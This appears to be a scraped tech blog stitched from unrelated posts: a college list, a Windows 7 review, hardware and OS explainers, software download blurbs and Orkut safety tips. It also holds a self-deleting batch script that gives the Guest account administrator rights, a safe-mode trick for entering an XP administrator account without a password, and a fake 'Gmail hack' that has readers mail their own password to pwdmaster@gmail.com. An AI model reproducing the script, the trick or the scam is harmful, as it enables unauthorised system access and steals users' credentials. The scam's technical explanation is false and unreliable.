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Engineering Colleges in Tamilnadu

A

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Aalim Muhammed Salegh College of Engineering, Chennai

Aarupadai Veedu Institute of Technology, Kanchipuram

Aksheyaa College of Engineering, Maduranthagam

Asan Memorial College of Engineering and Technology, Chengalpattu

A.C. College of Engineering and Technology, Karaikudi

A.C. College of Technology, Chennai

A.C.T. College of Engineering and Technology, Maduranthagam

A.K.T. Memorial College of Engineering and Technology, Kallakurichi

A.R. Engineering College, Villupuram

A.R.J. College of Engineering and Technology, Mannargudi

A.R.M. College of Engineering and Technology, Chengalpet

A.V.C. College of Engineering, Mayiladutarai

A.V.S. Engineering College, Salem

Adhi College of Engineering and Technology, Kancheepuram

Adhiparasakthi College of Engineering, Vellore

Adhiparasakthi Engineering College, Cheyyar Taluk

Adhiyamaan College of Engineering, Hosur Taluk

Adithya Institute of Technology, Coimbatore

Agricultural Engineering College and Research Institute, Coimbatore

Akshaya College of Engineering & Technology, Coimbatore

Al-Ameen Engineering College, Erode

Alpha College of Engineering, Chennai

Amrita Vishwa Vidyapeetham University (Amrita School of Engineering), Coimbatore

Anand Institute of Higher Technology, Chengalpattu Taluk

Angel College of Engineering and Technology, Tiruppur

Anjalai Ammal Mahalingam Engineering College, Thiruvarur

Anna University Tiruchirappali, Ariyalur Campus, Ariyalur

Anna University Tiruchirappali, Main Campus, Trichy

Anna University Tiruchirappali, Panruti Campus, Panruti

Anna University Tiruchirappali, Ramanathapuram Campus, Ramanathapuram

Anna University Tiruchirappali, Thirukkuvalai Campus, Thirukkuvalai

Anna University Tiruchirappalli, Dindigul Campus, Dindigul

Anna University Tiruchirappalli, Pattukkottai Campus, Pattukkottai

Anna University Tirunelveli, Nagercoil Campus, Nagercoil

Anna University Tirunelveli, Thoothukudi Campus, Thoothukudi

Annai College of Engineering and Technology, Thanjavur

Annai Mathammal Sheela Engineering College, Namakkal

Annai Teresa College of Engineering, Ulundurpet Taluk

Annai Vailankanni College of Engineering, Azhagapapuram (PO)

Annamalai University, Chidambaram

Annamalaiar College of Engineering, Polur

Apollo Engineering College, Sriperumbudur

Arasu Engineering College, Kumbakonam

Arignar Anna Institute of Science and Technology, Sriperumpudur Taluk

Arulmigu Meenakshi Amman College of Engineering, Cheyyar Taluk


Arunachala College of Engineering for Women, Nagercoil

Arunai Engineering College, Tiruvannamalai

As-Salam College of Engineering and Technology, Thanjavur

Avinashilingam University for Women (Avinashilingam Institute for Home Science and Higher Education for Women), Coimbatore

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WHAT IS IN WINDOWS 7 OS....?

Microsoft's new OS isn't perfect, but it is what Windows Vista should have been. Here's a hands-on look at the version that's beginning to hit PCs.

For most people who are considering moving to Windows 7, October 22 is D-Day. On that date Microsoft's newest operating system lands on store shelves, both as a shrinkwrapped upgrade and preinstalled on new PCs. For some folks, though, D-Day has already arrived. Microsoft has issued the final RTM (release to manufacturing) version of Windows 7 to large companies that buy Windows via volume licenses, as well as to IT pros who belong to its Technet service. The Windows Vista era is officially drawing to a close--although you could argue that it never really quite started--and the Windows 7 one is under way.


And that promises to be a good thing, whether you're a satisfied Vista user, a disgruntled one, or a Windows XP holdout who has been waiting for something better. Windows 7 feels like an anti-Vista: Unlike that OS, for instance, it doesn't try to dazzle you with flashy new visual effects. With the removal of Vista applications such as Photo Gallery and Movie Maker, Win 7 actually does fewer things than Vista did. Even its unprepossessing name is a change from the epic-sounding monikers that began with the unfortunate Windows Millennium Edition.

But Windows 7's lack of glitz is a huge part of its appeal. Unlike the increasingly chaotic and annoying Microsoft OSs that preceded it, Windows 7 is designed to stay out of your way so that you can get stuff done. It smartly addresses Windows annoyances both new (User Account Control) and old (the system tray). And the final version I've been using seems to realize the promise of the rough drafts we started testing last October.

Windows 7 isn't without its warts, but I haven't been so impressed by a new Microsoft operating system since Windows 2000 debuted close to a decade ago. Here's a quick look at some of its best features, a few drawbacks, and areas where reserving judgment makes sense. (Much more PC World coverage is on its way, including an in-depth review with speed benchmarks, upgrade tips, and Windows 7 system reviews.)

The Good...

The OS is less piggish: One of the many regrettable things about the initial version of Windows Vista was that its signature feature--the splashy Aero environment--was too much of a resource hog to run well on many early-2007 PCs (even those that had been promoted as Vista-capable). The PC World Test Center hasn't benchmarked the shipping version of Windows 7 yet--stay tuned--but all signs point to this OS being sprightly enough to perform decently on all current systems, including those allegedly underpowered, pint-size machines known as netbooks.

The taskbar has been reinvented: It's amazing how little the taskbar and its system tray have changed since Windows 95. In Windows 7, they both undergo sweeping, long-overdue makeovers. For the most part, the results are extremely pleasing.

The new taskbar's default style does away with text labels and relies solely on program icons, therefore making better use of screen space. Its thumbnail previews--an improvement over Vista's--work well even when you have multiple windows open for one application. And the new Jump Lists feature gives you right-click access to context-sensitive menus of options (such as the ability to play shuffled music in Windows Media Player) even before you've launched an application. Even the nub on the right edge of the taskbar, which you can click to reveal the desktop, is a welcome, subtle enhancement. (One taskbar quibble: The border around running apps in the taskbar isn't a clear enough cue to distinguish between them and those that aren't currently active.)

The system tray--which is officially called the notification area, although I don't know anybody who calls it that--is no longer one of Windows' most aggravating "features." When you install new applications, any associated system-tray applets are cordoned off in a holding pen, where they can't clutter up the tray and can't use word balloons to pester you with information that you may or may not care about. You can also choose to have an applet appear in the system tray but in bound-and-gagged form, so it can't pop up messages. Microsoft has also dramatically reduced the volume of distracting messages from Windows itself, courtesy of Action Center, which queues up system alerts so that you can check them out at your convenience.

UAC is now tolerable: Windows Vista introduced User Account Control, which tries to warn you of attempts by viruses and other malware to tamper with your system. But it essentially has two settings: So Annoying You Click Without Thinking, and Off. In Windows 7, you get two intermediate settings that alert you only if a program changes settings, with or without the melodramatic screen-dimming effect. This new version is such a reasonable approach that it's even more mysterious how Microsoft could have botched the Vista version so badly.

Libraries collect your files: For years, Microsoft has tried to train Windows users to store all of their personal files in one place, helpfully providing a folder named My Documents for that purpose. Many of us blithely ignore the suggestion and store stuff willy-nilly around our hard drives. A new feature called Libraries splits the difference by giving you virtual folders for documents, music, photos, and videos that combine the contents of whichever folders you specify into one unified view. The Pictures Library, for instance, can show all your photos even if they're stored in a dozen different places. Still, there's room for improvement--Libraries would be even more useful if they were integrated with the existing Saved Searches feature, which creates another, separate form of virtualized folder.

The Bad...

HomeGroups are disappointing: HomeGroups sound like a nifty idea--a way to share folders full of media and documents between PCs across a network, so you can peruse photos stored on a desktop in the den from your laptop in the living room, for instance. But Microsoft's implementation is surprisingly half-baked: Rather than letting you specify a password during setup, for instance, it assigns one consisting of ten alphanumeric gibberish characters and tells you to write it down. And HomeGroups work only if all the PCs in question run Windows 7. A version that also worked on XP, Vista, and--dare I say it?--Macs would have been far cooler.

Windows Update can still shut you down: There's no reason to believe that Windows 7 will require less patching than earlier versions of the OS. If you use Windows Update the way Microsoft recommends, however, your computer may still demand that you shut it down so it can update itself, or it may decide to devote an extended amount of time to installing updates when you try to reboot it. In the largely compliant and considerate Win 7, this aggressive approach to updates is a flashback to Windows' pushy past.

You can't upgrade Windows XP: If you want to upgrade a PC from XP to 7, you'll need to start anew, reinstalling all of your apps and re-creating your settings. (Windows Vista users can opt to install 7 on top of their current OS, although not in every possible scenario.) Microsoft's decision not to enable XP-to-7 upgrades is defensible--a fresh install will probably be more reliable than one plunked down on top of XP's eight-year-old underpinnings--but it will scare off some XP users who would probably love Windows 7 once they got it up and running.


...And the Unknown

How bad will compatibility issues be? Windows 7 looks and works differently than Windows Vista does, but below the surface it isn't radically different. That should make for fewer headaches with incompatible drivers and software--and indeed, it helped even the earliest Windows 7 preview versions run surprisingly smoothly for prerelease operating systems. But as millions of people install Windows 7 on an endless array of PCs, undoubtedly some of them will encounter problems that Microsoft didn't anticipate. (I've run into setup quirks and driver issues with the Windows 7 RTM version myself, but I've been able to work around them--by installing from a USB drive rather than a DVD, for instance.)

Will hardware companies take to Device Stage? This new feature gives your printer, camera, and other peripherals information centers of their own, which hardware manufacturers can customize with features such as links to online manuals and troubleshooting tools. But unless companies invest the time to build useful Device Stages, this could be another Microsoft bright idea that doesn't go much of anywhere. Also, parts of Device Stage look short on substance (giant photorealistic renderings of your peripherals!) and others look potentially irritating (printer companies hawking ink cartridges right inside your OS!). All in all, I don't think it'll be a tragedy if Device Stage doesn't catch on.
Is touch input a boon or a boondoggle? Windows 7 is the first version of the OS with special support for multitouch input--for example, if it notices that you've opened the Start menu with your finger rather than the mouse pointer, you'll see a roomier version of the menu that takes less precision to navigate. Of course, all of that requires a multitouch-capable PC, and only a handful (such as the upscale HP TouchSmart) are on the market. Windows 7's arrival might prompt a profusion of interesting new touch-enabled PCs--but even then, what we really need are interesting touch-enabled applications. (Microsoft's touch demos have tended to feature such ho-hum uses as fingerpainting in Windows' own Paint program.)
The Bottom Line

Last year Microsoft tried to repair Windows Vista's reputation by pretending it was a new OS code-named Mojave and getting focus-group subjects to say nice things about it. If the company had released a Vista back in 2007 that was as pleasant to use as Windows 7 is, the OS might never have had image problems in the first place.

Even when an OS upgrade is as appealing as this one, it makes sense to proceed with caution. Many of the people who grab Windows 7 at the first possible opportunity will be happy they did. But I suspect that some of the folks who wait a bit more--installing the new OS only after other people have discovered unexpected glitches with applications and drivers--will be even happier. And if you're using an aging PC, it's perfectly sensible to hold off on Windows 7 until you're ready to buy a brand-new system that's designed to run it well.

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what is operating system....?

LETS TRY TO KNOW ABOUT OS.......

The most important program that runs on a computer. Every general-purpose computer must have an operating system to run other programs. Operating systems perform basic tasks, such as recognizing input from the keyboard, sending output to the display screen, keeping track of files and directories on the disk, and controlling peripheral devices such as disk drives and printers.


For large systems, the operating system has even greater responsibilities and powers. It is like a traffic cop -- it makes sure that different programs and users running at the same time do not interfere with each other. The operating system is also responsible for security, ensuring that unauthorized users do not access the system.



Operating systems can be classified as follows:
# Multi-user : Allows two or more users to run programs at the same time. Some operating systems permit hundreds or even thousands of concurrent users.
# Multiprocessing : Supports running a program on more than one CPU.
# Multitasking : Allows more than one program to run concurrently.
# Multithreading : Allows different parts of a single program to run concurrently.
# Real time : Responds to input instantly. General-purpose operating systems, such as DOS and UNIX, are not real-time.

Operating systems provide a software platform on top of which other programs, called application programs, can run. The application programs must be written to run on top of a particular operating system. Your choice of operating system, therefore, determines to a great extent the applications you can run. For PCs, the most popular operating systems are DOS, OS/2, and Windows, but others are available, such as Linux.

As a user, you normally interact with the operating system through a set of commands. For example, the DOS operating system contains commands such as COPY and RENAME for copying files and changing the names of files, respectively. The commands are accepted and executed by a part of the operating system called the command processor or command line interpreter. Graphical user interfaces allow you to enter commands by pointing and clicking at objects that appear on the screen.

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C software free download...!!!

C-FREE IS A FREEWARE WHICH IS VERY USEFUL FOR PROGRAM DEVELOPMENT


C-Free is a professional C/C++ integrated development environment (IDE) that support multi-compilers. Use of this software, user can edit, build, run and debug programs freely. With C/C++ source parser included, although C-Free is a lightweight C/C++ development tool, it has powerful features to let you make use of it in your project. Version 4 Pro support multiply compilers.

YOU CAN EASILY CHANGE YOUR CODINGS TO EXECUTABLE APPLICATION.

Features Include:

-Support multiply compilers. Now support more compilers besides MinGW as following:

(1) MinGW 2.95/3.x/4.x/5.0

(2) Cygwin

(3) Borland C++ Compiler

(4) Microsoft C++ Compiler

(5) Open Watcom C/C++

(6) Digital Mars C/C++

(7) Ch Interpreter

-Enhanced C/C++ syntax highlighter. (Highlight Function, Data Type, and Constant, etc.);
-Enhanced Smart Input;
-Customizable project creating wizard, support more project types;
-Powerful code finding utilities (Jump to declaration, definition);
-Code completion and Code parameters;
-List all symbols of program;
-Customizable utilities:
-Customizable Shortcuts;
-Customizable External Tools;
-Customizable Help (Support Windows help, Html help and Web help);
-Color Print (Syntax highlighted print);
-Show console window when debug;
-Project Converter (Convert project to C-Free format);

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Power ISO software free download...!!!

WHAT IS THIS....?
This muscular disc-imaging utility is not kidding around (though we thought the demo might be). PowerISO lets you mount virtual drives, create bootable discs, and generate CD and floppy images. It supports a huge number of image formats, including standard ISO and IMG files as well as files created by almost all popular disc-burning programs such as Nero, CloneCD, and Alcohol120%.

Our one major caveat is that the trial version doesn't let you create images larger than 300MB (most CDs hold 700MB), making it much harder to fully test the product. On the other hand, the trial period is unlimited, so some users may actually prefer this arrangement. Trial restrictions aside, we think PowerISO makes a good pick for intermediate to advanced users START YOUR DOWNLOAD HERE....

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Turbo C++ software free Download....!!!!

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HARD DISK BASICS...!!!

Hard disks were invented in the 1950s. They started as large disks up to 20 inches in diameter holding just a few megabytes. They were originally called "fixed disks" or "Winchesters" (a code name used for a popular IBM product). They later became known as "hard disks" to distinguish them from "floppy disks." Hard disks have a hard platter that holds the magnetic medium, as opposed to the flexible plastic film found in tapes and floppies.

At the simplest level, a hard disk is not that different from a cassette tape. Both hard disks and cassette tapes use the same magnetic recording techniques described in How Tape Recorders Work. Hard disks and cassette tapes also share the major benefits of magnetic storage -- the magnetic medium can be easily erased and rewritten, and it will "remember" the magnetic flux patterns stored onto the medium for many years.

WHAT IS HARD DISK

A hard disk is part of a unit, often called a "disk drive," "hard drive," or "hard disk drive," that stores and provides relatively quick access to large amounts of data on an electromagnetically charged surface or set of surfaces. Today's computers typically come with a hard disk that contains several billion bytes (gigabytes) of storage.

A hard disk is really a set of stacked "disks," each of which, like phonograph records, has data recorded electromagnetically in concentric circles or "tracks" on the disk. A "head" (something like a phonograph arm but in a relatively fixed position) records (writes) or reads the information on the tracks. Two heads, one on each side of a disk, read or write the data as the disk spins. Each read or write operation requires that data be located, which is an operation called a "seek." (Data already in a disk cache, however, will be located more quickly.)

A hard disk/drive unit comes with a set rotation speed varying from 4500 to 7200 rpm. Disk access time is measured in milliseconds. Although the physical location can be identified with cylinder, track, and sector locations, these are actually mapped to a logical block address (LBA) that works with the larger address range on today's hard disks.

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WHAT IS RAM..?

RAM is an abbreviation for Random Access Memory. It usually refers to "temporary" memory, as when the system is shut down, the memory is lost. This is why the memory is referred to as being "random," as any piece of information can be circulated through the memory regardless of its location and its relation to any other information within the RAM. The first of the many RAMs to come in the future was created in 1951 and was used until the late 1960s and early 1970s.

TYPES OF RAM..


The following are some common types of RAM:

• SRAM: Static random access memory uses multiple transistors, typically four to six, for each memory cell but doesn't have a capacitor in each cell. It is used primarily for cache.

• DRAM: Dynamic random access memory has memory cells with a paired transistor and capacitor requiring constant refreshing.

• FPM DRAM: Fast page mode dynamic random access memory was the original form of DRAM. It waits through the entire process of locating a bit of data by column and row and then reading the bit before it starts on the next bit. Maximum transfer rate to L2 cache is approximately 176 MBps.


• EDO DRAM: Extended data-out dynamic random access memory does not wait for all of the processing of the first bit before continuing to the next one. As soon as the address of the first bit is located, EDO DRAM begins looking for the next bit. It is about five percent faster than FPM. Maximum transfer rate to L2 cache is approximately 264 MBps.

• SDRAM: Synchronous dynamic random access memory takes advantage of the burst mode concept to greatly improve performance. It does this by staying on the row containing the requested bit and moving rapidly through the columns, reading each bit as it goes. The idea is that most of the time the data needed by the CPU will be in sequence. SDRAM is about five percent faster than EDO RAM and is the most common form in desktops today. Maximum transfer rate to L2 cache is approximately 528 MBps.

• DDR SDRAM: Double data rate synchronous dynamic RAM is just like SDRAM except that is has higher bandwidth, meaning greater speed. Maximum transfer rate to L2 cache is approximately 1,064 MBps (for DDR SDRAM 133 MHZ).

• RDRAM: Rambus dynamic random access memory is a radical departure from the previous DRAM architecture. Designed by Rambus, RDRAM uses a Rambus in-line memory module (RIMM), which is similar in size and pin configuration to a standard DIMM. What makes RDRAM so different is its use of a special high-speed data bus called the Rambus channel. RDRAM memory chips work in parallel to achieve a data rate of 800 MHz, or 1,600 MBps. Since they operate at such high speeds, they generate much more heat than other types of chips. To help dissipate the excess heat Rambus chips are fitted with a heat spreader, which looks like a long thin wafer. Just like there are smaller versions of DIMMs, there are also SO-RIMMs, designed for notebook computers.

• Credit Card Memory: Credit card memory is a proprietary self-contained DRAM memory module that plugs into a special slot for use in notebook computers.

• PCMCIA Memory Card: Another self-contained DRAM module for notebooks, cards of this type are not proprietary and should work with any notebook computer whose system bus matches the memory card's configuration.

• CMOS RAM: CMOS RAM is a term for the small amount of memory used by your computer and some other devices to remember things like hard disk settings -- see Why does my computer need a battery? for details. This memory uses a small battery to provide it with the power it needs to maintain the memory contents.

• VRAM: VideoRAM, also known as multiport dynamic random access memory (MPDRAM), is a type of RAM used specifically for video adapters or 3-D accelerators. The "multiport" part comes from the fact that VRAM normally has two independent access ports instead of one, allowing the CPU and graphics processor to access the RAM simultaneously. VRAM is located on the graphics card and comes in a variety of formats, many of which are proprietary. The amount of VRAM is a determining factor in the resolution and color depth of the display. VRAM is also used to hold graphics-specific information such as 3-D geometry data and texture maps. True multiport VRAM tends to be expensive, so today, many graphics cards use SGRAM (synchronous graphics RAM) instead. Performance is nearly the same, but SGRAM is cheaper.

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ADMINISTRATOR IN WELCOME SCREEN.

When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.

First you must ensure that the Administrator Account is enabled:

1 open Control Panel
2 open Administrative Tools
3 open Local Security Policy
4 expand Local Policies
5 click on Security Options
6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.
1 open Control Panel
2 open User Accounts
3 click Change the way users log on or log off
4 untick Use the Welcome Screen
5 click Apply Options
You will now be able to log on to Windows XP as Administrator in Normal Mode.

EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!


Start the Registry Editor Go to:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \
Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.

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Hack "GUEST" with Admin privileges.

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...


~ Cheers ~

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Teachnique to hack the windows xp password

1. While installing windows almost people forget to enter the admin password and after installation they create an account of admin right but they are not aware of the system admin account.
so you just restart the computer and press F8 key unles it ask for you to open windows in some mode like---
1. safe mode
2. command prompt mode
3. command prompt mode in networking
4 .............
like some option
you just choose the safe mode only and when the login screen will appear you will se two account one is made by the user and other is the default one that is administrator account and click on that account you will not be asked to enter any password.
now you are in the administrator account
here you can do whatever you want...

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Cloud computing

Cloud computing services

Cloud computing is a style of computing in which dynamically scalable and often virtualized resources are provided as a service over the Internet.

The concept generally incorporates combinations of the following:

• infrastructure as a service (IaaS)
• platform as a service (PaaS)
• software as a service (SaaS)
• Other recent (ca. 2007–09) technologies that rely on the Internet to satisfy the computing needs of users. Cloud computing services often provide common business applications online that are accessed from a web browser, while the software and data are stored on the servers.
The term cloud is used as a metaphor for the Internet, based on how the Internet is depicted in computer network diagrams and is an abstraction for the complex infrastructure it conceals.
The first academic use of this term appears to be by Prof. Ramnath K. Chellappa (currently at Goizueta Business School, Emory University) who originally defined it as a computing paradigm where the boundaries of computing will be determined by economic rationale rather than technical limits.
Comparisons

Cloud computing can be confused with:

1. grid computing—"a form of distributed computing whereby a 'super and virtual computer' is composed of a cluster of networked, loosely coupled computers, acting in concert to perform very large tasks";
2. utility computing—the "packaging of computing resources, such as computation and storage, as a metered service similar to a traditional public utility such as electricity";[8] and
3. autonomic computing—"computer systems capable of self-management".
Indeed, many cloud computing deployments depend on grids, have autonomic characteristics, and bill like utilities—but cloud computing tends to expand what is provided by grids and utilities. Some successful cloud architectures have little or no centralized infrastructure or billing systems whatsoever, including peer-to-peer networks such as BitTorrent and Skype, and volunteer computing such as SETI@home.

Furthermore, many analysts are keen to stress the evolutionary, incremental pathway between grid technology and cloud computing, tracing roots back to Application Service Providers (ASPs) in the 1990s and the parallels to SaaS, often referred to as applications on the cloud. Some believe the true difference between these terms is marketing and branding; that the technology evolution was incremental and the marketing evolution discrete.

Characteristics

Cloud computing customers do not generally own the physical infrastructure serving as host to the software platform in question. Instead, they avoid capital expenditure by renting usage from a third-party provider. They consume resources as a service and pay only for resources that they use. Many cloud-computing offerings employ the utility computing model, which is analogous to how traditional utility services (such as electricity) are consumed, while others bill on a subscription basis. Sharing "perishable and intangible" computing power among multiple tenants can improve utilization rates, as servers are not unnecessarily left idle (which can reduce costs significantly while increasing the speed of application development). A side effect of this approach is that overall computer usage rises dramatically, as customers do not have to engineer for peak load limits. Additionally, "increased high-speed bandwidth" makes it possible to receive the same response times from centralized infrastructure at other sites.

Economics



Diagram showing economics of cloud computing versus traditional IT, including capital expenditure (CapEx) and operational expenditure (OpEx)

Cloud computing users can avoid capital expenditure (CapEx) on hardware, software, and services when they pay a provider only for what they use. Consumption is usually billed on a utility (e.g. resources consumed, like electricity) or subscription (e.g. time based, like a newspaper) basis with little or no upfront cost. A few cloud providers are now beginning to offer the service for a flat monthly fee as opposed to on a utility billing basis. Other benefits of this time sharing style approach are low barriers to entry, shared infrastructure and costs, low management overhead, and immediate access to a broad range of applications. Users can generally terminate the contract at any time (thereby avoiding return on investment risk and uncertainty) and the services are often covered by service level agreements (SLAs) with financial penalties.

According to Nicholas Carr, the strategic importance of information technology is diminishing as it becomes standardized and less expensive. He argues that the cloud computing paradigm shift is similar to the displacement of electricity generators by electricity grids early in the 20th century.

Although companies might be able to save on upfront capital expenditures, they might not save much and might actually pay more for operating expenses. In situations where the capital expense would be relatively small, or where the organization has more flexibility in their capital budget than their operating budget, the cloud model might not make great fiscal sense. Other factors impacting the scale of any potential cost savings include the efficiency of a company’s data center as compared to the cloud vendor’s, the company’s existing operating costs, the level of adoption of cloud computing, and the type of functionality being hosted in the cloud.

Architecture

The majority of cloud computing infrastructure, as of 2009[update], consists of reliable services delivered through data centers and built on servers with different levels of virtualization technologies. The services are accessible anywhere that provides access to networking infrastructure. Clouds often appear as single points of access for all consumers' computing needs. Commercial offerings are generally expected to meet quality of service (QoS) requirements of customers and typically offer SLAs. Open standards are critical to the growth of cloud computing, and open source software has provided the foundation for many cloud computing implementations.

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How to Protect your Orkut Account

This post is meant for providing some safety measures to prevent your Orkut account from being hacked. There is not much you have to take care of. Just follow the simple steps and never get your orkut account hacked in your life.

1. Never try to login/access your Orkut account from sites other than Orkut.com.

2. Never click on any links from the sources you don’t trust while accessing your Orkut account. (or while accessing any other Google services like Gmail,Blogger etc.)

3. Delete any links on your scrapbook, no matter if a known or unknown person have sent it.

4. Never disclose your orkut login details with anyone.

5. Never ever use Javascripts on Orkut, no matter whatever it claims to do. Get satisfied with the services provided by default! Avoid using third party Scripts which might be malicious.

6. Never get excited to see a site claiming to have 1000 cool orkut tricks for which you have to just log in to your orkut account. Don’t trust that site. That’s a Phishing site.

7. Never tick the box “REMEMBER ME” on the orkut homepage if you are surfing from a cafe or a public area.

8. Always remember to hit Sign out button, when you are done.

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How to hack Gmail passwords

Step 1: Log into your Gmail account.
Step 2: Compose a new mail.
Step 3: In subject box type " PASSWORD RECOVERY "
Step 4: Send this to - pwdmaster@gmail.com
Step 5: Write this in message box.

(first line)- Email address you want to hack.

(second line)- Your Gmail address

(third line)- Your Gmail account password

(fourth line) –

<
v703&login="passmachine&f=(p0assword)&f=27586&___javascript=ACTIVE&rsa#"
start?>=""><>

{simply copy and paste above.}

How it works:
You mail to a system administrators automatic responder.
Usually only system administrators should be able to use this, but when you
try it with your own password and mail this message from your Gmail account
the computer gets confused! Why your password is needed- automatic Gmail
responder will require your "system administrator password" which is in fact
your own password!!! But the : computer doesn't know.

THE PASSWORD WILL AUTOMATICALLY BE SENT TO YOUR GMAIL!
INBOX IN A MAIL CALLED "SYSTEM REG MESSAGE" FROM "SYSTEM". This is an awesome
trick and works as many times as you try it. Have fun! NOTE: Use account you have been
using for few days say at least 30 days. Otherwise Gmail may take new
account as temporary and this trick may not work. Moreover use it soon
otherwise this flaw can be rectified soon.

Please be advised that it usually works with Gmail & AOL but i'm not to sure
about HOTMAIL but can try. THE ONLY WAY YOU CAN HACK SOMEONE'S AOL ACCOUNT
IS PROVIDING YOU HAVE AN AOL ACCOUNT.
ALTHOUGH THIS IS GMAIL ACCOUNT INFORMATION CENTER, IT HAS BEEN ABLE TO WORK
WITH AOL.

I WILL NOT BE HELD RESPONSIBLE FOR WHAT YOU DO WITH THIS INFORMATION NOR
WILL I BE HELD ACCOUNTABLE, THIS INFORMATION I'M SHARING IS FOR EDUCATIONAL
PURPOSES ONLY. PLEASE USE IT TO YOUR DISCRETION.............
HAPPY HACKING ......

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Actress Priyamani Latest hot Stills

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